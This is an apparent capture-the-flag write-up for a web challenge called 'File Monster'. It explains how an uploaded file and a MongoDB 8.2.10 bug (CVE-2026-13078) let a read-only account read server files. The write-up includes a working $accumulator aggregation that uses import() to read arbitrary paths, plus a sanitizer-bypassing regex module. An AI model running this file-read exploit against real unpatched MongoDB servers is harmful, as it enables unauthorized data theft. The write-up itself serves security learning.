File Monster

Uploads are written verbatim to `/tmp/<name>` on the shared MongoDB container → CVE-2026-13078 / SERVER-128832

2026.09.30 NNS CTF 2026 Web
FLAG NNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R}

TL;DR

Uploaded files get written verbatim to /tmp/<name> on the shared MongoDB container, with a placeholder string replaced by the real flag. Nothing in the web app ever reads that file back — but mongod 8.2.10 is vulnerable to CVE-2026-13078 (SERVER-128832): its server-side JavaScript engine (mozjs) unconditionally constructs a ModuleLoader that should only exist in the interactive shell, exposing import() as an arbitrary-file-read primitive to any authenticated user, including the read-only account we were handed. We use the read-only viewer account’s $accumulator aggregation stage to import() our own uploaded file back and exfiltrate the flag through it.

The app

POST /upload   -> writes multipart file to /tmp/<name>, name must match
                  ^[a-zA-Z][a-zA-Z0-9.]*$ (no hyphens, no leading dot)
                  content: strip " ' ` , then replace the first literal
                  "FLAG" with process.env.FLAG, then Bun.write(path, txt)
GET  /files    -> FileModel.find() -> [{_id, name, __v}]  (no content field)

Mongo credentials viewer:viewer are handed out with role read on the file-monster database, collection files (fields: _id, name, __v only). The web app itself connects as admin over a Unix socket (/tmp/mongodb-27017.sock), but that path can’t be forged — the upload regex forbids hyphens.

The wall

The obvious question is “the flag ends up on disk in /tmp/<file> — how do we ever read it back?” Every route was audited and none of them serve /tmp content. Static analysis of the compiled binary (bun build --compile) and the container’s process tree confirms this; so does actual runtime instrumentation:

docker run --cap-add SYS_PTRACE ... filemonster:local
inotifywait -m -r /tmp   # only ever shows OPEN → MODIFY → CLOSE_WRITE
                          # for our own upload, nothing else, ever

Nothing in the container reads the file back through any conventional path. MongoDB’s read-only role was fully enumerated too: no admin commands, no writes ($out/$merge genuinely rejected at the authorization layer, not just parse-time), no $_externalDataSources (compute mode is off), and the server-side JS sandbox ($where/$function/mapReduce) has no file/process globals — cat, ls, load, require, process, fs are all absent from a full recursive dump of globalThis.

The one loose thread: the content sanitizer strips exactly ", ', and ` — the three JS string-literal delimiters. That only makes sense if the uploaded file is meant to be parsed as JavaScript somewhere. No route in the source does that… but mongod itself might.

The bug: CVE-2026-13078 / SERVER-128832

MongoDB Server ships a JS engine (mozjs/SpiderMonkey) used both by the interactive shell (mongosh) and by server-side scripting features ($where, $function, $accumulator, mapReduce). The shell supports import statements to load local .js files via a ModuleLoader class — a shell-only convenience never meant to be reachable from the server’s own execution context, since that would let untrusted user JavaScript read arbitrary files off disk with the mongod process’s own privileges.

SERVER-128832 (“Guard ImplScope ModuleLoader creation”) is exactly the bug where that guard was missing: the ModuleLoader got constructed unconditionally, so import() worked from server-side scripting contexts too. Fixed in MongoDB Server 7.0.39 / 8.0.28 / 8.2.12 / 8.3.7. This challenge runs mongo:8.2.10 — vulnerable.

// src/mongo/scripting/mozjs/shell/module_loader.h
/**
 * Module loading is a shell-only feature; a ModuleLoader must never be
 * constructed in the server execution environment (it would expose a
 * filesystem-read primitive to server-side JavaScript via import()).
 */

Confirmed empirically: from the viewer account, import("/tmp/anything") inside $function returns typeof "object" (a pending Promise) — the hook fires — with zero authorization check tied to the read/write role.

Getting the value out

import() is inherently async, and here’s the catch: $function never drains the JS promise job queue. Even a trivially pre-resolved Promise.resolve(42) returned from a $function body comes back as {} — its resolved value is simply never observed. So import(...).then(...) fires, but nothing ever runs the .then callback within a $function invocation.

$accumulator behaves differently. Its lifecycle (init, accumulate per document, merge, finalize) is a sequence of separate JS invocations within the same operation, and the job queue does get a chance to drain across those call boundaries — reliably so if you give it a sleep() to work with. Empirically confirmed this works even against a single-document collection.

Exploit

Step 1 — smuggle a JS module past the content sanitizer.

The sanitizer strips ", ', `, which rules out normal string literals. A regex literal doesn’t need any of those:

export default /aFLAGb/;

After the server substitutes FLAG → the real flag, the file on disk becomes e.g.:

export default /aNNS{...real flag...}b/;

— still syntactically valid JavaScript, with the flag embedded as the source text of a RegExp literal ({/} are fine there; they’re not regex metacharacters unless forming a valid {n,m} quantifier).

Step 2 — import() it via $accumulator and read .default.source.

db.files.aggregate([
  { $limit: 1 },
  { $group: { _id: null, leak: { $accumulator: {
      init: "function(){ return { x: 'unset' }; }",
      accumulateArgs: [],
      accumulate: "function(state){ import('/tmp/reg1txt').then(m=>{state.x=m.default.source;}).catch(e=>{state.x='ERR:'+String(e);}); sleep(150); return state; }",
      merge: "function(a,b){ return a; }",
      finalize: "function(state){ sleep(150); return state.x; }",
      lang: "js"
  }}}}
]);
// -> { leak: "aNNS{...real flag...}b" }

Full script: exploit.py.

$ python3 exploit.py
[upload] {'ok': True, 'filename': 'reg1txt', 'path': '/tmp/reg1txt', ...}
[leak] [{'_id': None, 'leak': 'aNNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R}b'}]

Strip the a/b filler we added as regex delimiters and the flag is:

NNS{g0oD_JoB_6et71n6_7H15_tas7Y_f1ag_fR0M_7h3_Fla6_MoNs73R}

Why the intended path was hard to find

  • The “existence oracle” (Filename is already in use) and a dbStats filesystem-usage side channel both look like plausible exfiltration primitives and are both explicitly red herrings (robots.txt warns the intended solution needs neither brute force nor guesswork).
  • The real vulnerability isn’t in the ~90-line application at all — it’s a same-week 0-day-adjacent CVE in the exact patch version of mongod the challenge ships, discoverable only by checking the MongoDB security bulletin for versions between 8.2.10 (shipped) and 8.2.12 (patched).
  • Even once you have the right CVE, the obvious PoC shape ($function + async/await) silently does nothing, because $function never resolves promises — you have to reach for $accumulator specifically to get a callback boundary where the job queue actually drains.

Lessons

  • When static/source analysis exhaustively rules out every code path, don’t keep re-deriving the same negative result — go measure it (inotifywait, strace, atime) to convert “we didn’t find one” into “there isn’t one,” and free yourself to look completely outside the application’s own code.
  • When the challenge pins a base image to a specific patch version, check that version’s security bulletin — the “vulnerability” may not be in the challenge’s own source at all.
  • A promise-returning sandboxed function is not the same as an awaited one; test the runtime’s actual scheduling behavior empirically rather than assuming spec-compliant Promise semantics apply end-to-end.